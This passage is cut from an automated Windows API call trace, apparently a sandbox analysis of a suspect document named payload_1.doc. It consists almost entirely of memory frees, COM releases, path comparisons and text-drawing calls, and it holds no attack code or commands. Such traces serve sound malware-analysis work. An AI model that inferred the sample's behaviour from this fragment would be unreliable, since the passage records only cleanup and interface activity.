ImageBase=0xb5690f6630, HistoryTable=0xb5690f6650 | out: ImageBase=0xb5690f6630, HistoryTable=0xb5690f6650) returned 0x2764ba55244 [0128.984] RtlLookupFunctionEntry (in: ControlPc=0x2764ba5511c, ImageBase=0xb5690f6630, HistoryTable=0xb5690f6650 | out: ImageBase=0xb5690f6630, HistoryTable=0xb5690f6650) returned 0x2764ba55178 [0128.985] RtlLookupFunctionEntry (in: ControlPc=0x2764ba57f64, ImageBase=0xb5690f6630, HistoryTable=0xb5690f6650 | out: ImageBase=0xb5690f6630, HistoryTable=0xb5690f6650) returned 0x2764ba57fc0 [0128.986] RtlLookupFunctionEntry (in: ControlPc=0x2764ba5805c, ImageBase=0xb5690f6630, HistoryTable=0xb5690f6650 | out: ImageBase=0xb5690f6630, HistoryTable=0xb5690f6650) returned 0x2764ba580b8 [0128.986] RtlLookupFunctionEntry (in: ControlPc=0x2764ba5439c, ImageBase=0xb5690f6630, HistoryTable=0xb5690f6650 | out: ImageBase=0xb5690f6630, HistoryTable=0xb5690f6650) returned 0x2764ba543f8 [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9c9920) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c158cc0) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3a3c0) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad01b20) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba51a50) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e19a0) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763bf0fcf0) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b753860) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b730940) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e2080) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b732a40) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba15b20) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bbf2440) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b84ba10) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1ea0) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b72ba80) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27645570d90) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27645570570) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db160) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1ed0) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1690) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b72a100) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db180) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db680) [0128.987] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa5ee0) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b72fb00) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8e63d0) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7557e0) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae5a3c0) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de680) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b8b7990) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afd3210) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b72f380) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de6a0) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b72e300) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e1140) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de560) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f1e70) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1b1630) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b6774a0) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b247800) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b155310) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b246cc0) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba55550) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1622a0) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1624e0) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba54350) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba58010) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba57dd0) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba550d0) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba55790) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba55c10) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba56750) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b66b830) [0128.988] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b66c5b0) [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1636e0) [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba559d0) [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba54e90) [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b66a630) [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b66a1b0) [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b66a870) [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba54a10) [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba54590) [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b429700) [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455c23f0) [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b842ae0) [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa0720) [0128.989] IUnknown:Release (This=0x2764af38560) returned 0x1 [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b545700) [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa3e40) [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644ede490) [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad49870) [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b845890) [0128.989] IUnknown:Release (This=0x2764af38928) returned 0x4 [0128.989] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad4a470, cb=0x0) returned 0x0 [0128.989] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764b51f430 [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c064a10) [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad49930) [0128.989] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad4a4d0) [0128.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba22a20) [0128.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b4091d0) [0128.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9e0620) [0128.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad49450) [0128.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b177f10) [0128.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa3b70) [0128.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51f430) [0128.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae9ec10) [0128.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b6fd530) [0128.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b245640) [0128.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b2448c0) [0128.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa38a0) [0128.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b545970) [0128.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c05b430) [0128.990] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644edeb20) [0128.990] VirtualFree (lpAddress=0x27666160000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.991] VirtualFree (lpAddress=0x27666170000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.992] VirtualFree (lpAddress=0x27666180000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.993] VirtualFree (lpAddress=0x27666190000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.994] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba24a80) [0128.994] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad4a050) [0128.994] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276529c59a0) [0128.994] free (_Block=0x2764997a720) [0128.994] IUnknown:Release (This=0x2764af38560) returned 0x0 [0128.994] IUnknown:Release (This=0x2764af38610) returned 0x0 [0128.994] IUnknown:Release (This=0x2764af40e88) returned 0x0 [0128.994] IUnknown:Release (This=0x2763c01e2d8) returned 0x1 [0128.994] IUnknown:Release (This=0x2764b8e9708) returned 0x0 [0128.995] IUnknown:Release (This=0x2764b533098) returned 0x0 [0128.995] IUnknown:Release (This=0x2764af38878) returned 0x2 [0128.995] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2763c00db80, cb=0x0) returned 0x0 [0128.995] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764b51f420 [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae9e750) [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad4a0b0) [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae5b230) [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b40ab10) [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad4a6b0) [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b177e50) [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa3db0) [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51f420) [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae9e900) [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b6ff050) [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db420) [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b245b80) [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b245340) [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa2c40) [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b545f00) [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa41a0) [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644ee2630) [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad4a710) [0128.995] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b841d10) [0128.995] IUnknown:Release (This=0x2763c01e338) returned 0x0 [0128.995] IUnknown:Release (This=0x2763bec4828) returned 0x1 [0128.995] IUnknown:Release (This=0x2763c01f2f8) returned 0x0 [0128.996] free (_Block=0x276527c0080) [0128.996] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b880f20, cb=0x0) returned 0x0 [0128.996] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764b51f2a0 [0128.996] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763a17cdd0) [0128.996] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad49f00) [0128.996] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644f263d0) [0129.000] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4dd60) [0129.000] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b40f6d0) [0129.000] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de0c0) [0129.000] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad4a110) [0129.000] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b178230) [0129.000] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa3660) [0129.000] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51f2a0) [0129.000] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763c24df60) [0129.000] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b6fe0d0) [0129.000] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fc8d50) [0129.001] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fc9440) [0129.001] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b243780) [0129.001] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b245700) [0129.001] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa3150) [0129.001] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b177e70) [0129.001] wcsncpy_s (in: _Destination=0xb5690f6500, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0x0 [0129.001] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", cchLength=0x28 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc") returned 0x28 [0129.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", cchWideChar=41, lpMultiByteStr=0xb5690f6430, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", lpUsedDefaultChar=0x0) returned 41 [0129.001] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned -4 [0129.001] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0 [0129.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b21e520) [0129.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f220) [0129.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b50f180) [0129.012] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b95f250, cb=0x0) returned 0x0 [0129.012] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764b51f3a0 [0129.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0a640) [0129.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f850) [0129.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f970) [0129.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b409820) [0129.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b95f3d0) [0129.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de660) [0129.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa8760) [0129.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51f3a0) [0129.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0a620) [0129.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9b1320) [0129.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b72e0c0) [0129.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b21e600) [0129.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b21e8a0) [0129.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b41e320) [0129.012] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455f80c0) [0129.013] VirtualFree (lpAddress=0x27649a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.014] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455f3100) [0129.014] VirtualFree (lpAddress=0x27649a00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.015] VirtualFree (lpAddress=0x276499f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.016] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b5101c0) [0129.016] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b245dc0) [0129.016] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de6c0) [0129.016] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b2497f0) [0129.016] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b178190) [0129.016] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b683ca0) [0129.016] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764547a770) [0129.016] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b608030) [0129.016] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b531550) [0129.062] GetCapture () returned 0x0 [0129.062] GetCursorPos (in: lpPoint=0xb5690f69b0 | out: lpPoint=0xb5690f69b0*(x=790, y=293)) returned 1 [0129.062] WindowFromPoint (Point=0x12500000316) returned 0x6004e [0129.062] GetWindowThreadProcessId (in: hWnd=0x6004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1314 [0129.257] SysStringByteLen (bstr="潎浲污") returned 0x6 [0129.258] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb03f28, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0129.258] SysStringByteLen (bstr="潎浲污") returned 0x6 [0129.258] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb03f28, cbMultiByte=7, lpWideCharStr=0x2764b95f408, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0129.269] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27645202590) [0129.269] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0b1f0) [0129.269] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455f8300) [0129.269] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b64ed80) [0129.269] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b64f3b0) [0129.398] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb21d40) [0129.399] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb209c0) [0129.399] IUnknown:Release (This=0x276454bf8a0) returned 0x3 [0129.399] IUnknown:Release (This=0x276454c2ce0) returned 0xb [0129.399] IUnknown:Release (This=0x276454c2a20) returned 0x5 [0129.399] IUnknown:Release (This=0x276454c16e0) returned 0x2 [0129.424] GetSysColor (nIndex=18) returned 0x0 [0129.424] SetTextColor (hdc=0x108b8, color=0x0) returned 0x0 [0129.424] GetSysColor (nIndex=15) returned 0xf0f0f0 [0129.424] SetBkColor (hdc=0x108b8, color=0xf0f0f0) returned 0xffffff [0129.424] lstrlenA (lpString="") returned 0 [0129.424] GetTextExtentPoint32A (in: hdc=0x108b8, lpString="", c=0, psizl=0xb5690f9200 | out: psizl=0xb5690f9200) returned 1 [0129.424] MulDiv (nNumber=17, nNumerator=1, nDenominator=2) returned 9 [0129.424] lstrlenA (lpString="") returned 0 [0129.424] ExtTextOutA (hdc=0x108b8, x=475, y=14, options=0x0, lprect=0xb5690f9210, lpString="", c=0x0, lpDx=0x0) returned 1 [0129.434] SysStringByteLen (bstr="潎浲污") returned 0x6 [0129.434] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb03f28, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0129.434] SysStringByteLen (bstr="潎浲污") returned 0x6 [0129.434] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb03f28, cbMultiByte=7, lpWideCharStr=0x2764b95f408, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0129.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xb5690f8f30, cbMultiByte=520, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0129.434] lstrlenA (lpString="Normal") returned 6 [0129.445] GetSysColor (nIndex=18) returned 0x0 [0129.445] SetTextColor (hdc=0x108b8, color=0x0) returned 0x0 [0129.445] GetSysColor (nIndex=15) returned 0xf0f0f0 [0129.445] SetBkColor (hdc=0x108b8, color=0xf0f0f0) returned 0xffffff [0129.445] lstrlenA (lpString="") returned 0 [0129.445] GetTextExtentPoint32A (in: hdc=0x108b8, lpString="", c=0, psizl=0xb5690f91a0 | out: psizl=0xb5690f91a0) returned 1 [0129.445] MulDiv (nNumber=17, nNumerator=1, nDenominator=2) returned 9 [0129.445] lstrlenA (lpString="") returned 0 [0129.445] ExtTextOutA (hdc=0x108b8, x=475, y=14, options=0x0, lprect=0xb5690f91b0, lpString="", c=0x0, lpDx=0x0) returned 1 [0129.456] SysStringByteLen (bstr="潎浲污") returned 0x6 [0129.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb03f28, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0129.456] SysStringByteLen (bstr="潎浲污") returned 0x6 [0129.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb03f28, cbMultiByte=7, lpWideCharStr=0x2764b95f408, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0129.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xb5690f8ed0, cbMultiByte=520, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0129.456] lstrlenA (lpString="Normal") returned 6 [0129.457] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0b100) [0129.457] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455f8480) [0129.457] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27645202c90) [0129.457] SetCursor (hCursor=0x10007) returned 0x10007 [0129.458] malloc (_Size=0x18) returned 0x27649976fe0 [0129.459] strcpy_s (in: _Dst=0xb5690f9400, _DstSize=0x208, _Src="????????" | out: _Dst="????????") returned 0x0 [0129.459] SysStringByteLen (bstr="潎浲污") returned 0x6 [0129.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb03f28, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0129.459] SysStringByteLen (bstr="潎浲污") returned 0x6 [0129.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764bb03f28, cbMultiByte=7, lpWideCharStr=0x2764b95f408, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0129.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xb5690f8ff0, cbMultiByte=520, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0129.459] lstrlenA (lpString="Normal") returned 6 [0129.460] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba258f0) [0129.460] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2765292bd40) [0129.460] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2765292b9c0) [0129.460] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2765292b780) [0129.460] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2765292b700) [0129.460] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2765292b440) [0129.460] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa4500) [0129.460] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b3c65f0) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9ca1c0) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9ca610) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9c5870) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9caa60) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b24b200) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3a270) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3a6c0) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba4d6e0) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dee60) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b858d40) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b753620) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b72da00) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9debe0) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b72cec0) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de700) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763a18e3f0) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b677620) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b245e80) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b159a50) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b245f40) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba57290) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b6698b0) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b66cc70) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba56bd0) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba547d0) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b6691f0) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba56990) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba57710) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b549550) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa3f60) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa36f0) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa2b20) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644ee3350) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba50940) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3a4b0) [0129.461] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b847650) [0129.461] IUnknown:Release (This=0x2764af38878) returned 0x0 [0129.462] IUnknown:Release (This=0x2764af38928) returned 0x1 [0129.462] IUnknown:Release (This=0x2764af387c8) returned 0x0 [0129.462] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad3a3f0, cb=0x0) returned 0x0 [0129.462] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764b51f500 [0129.462] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b51e810) [0129.462] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3a930) [0129.462] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3ab10) [0129.462] IMalloc:Free 